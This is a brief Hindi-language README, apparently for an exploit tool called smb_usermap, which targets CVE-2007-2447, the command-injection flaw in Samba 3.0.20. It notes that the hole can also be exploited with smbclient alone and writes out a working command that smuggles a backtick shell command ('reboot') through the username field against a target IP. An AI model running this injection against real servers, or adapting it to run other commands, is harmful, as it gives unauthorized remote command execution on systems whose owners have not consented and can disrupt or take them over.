smb_usermap

CVE-2007-2447 के लिए एक सरल शोषण, जो Samba 3.0.20 में मौजूद है।

आप इस भेद्यता का शोषण इससे भी कम के साथ कर सकते हैं, उदाहरण के लिए, smbclient के साथ, लेकिन मुझे लगता है कि जटिल कमांड करना कठिन है, क्योंकि बहुत सारे विशेष वर्ण शायद खत्म हो जाते हैं, लेकिन एक साधारण कमांड (इस मामले में reboot) इस तरह पास किया जा सकता है:

smbclient -L <target IP> --user="/=\`reboot\`" -N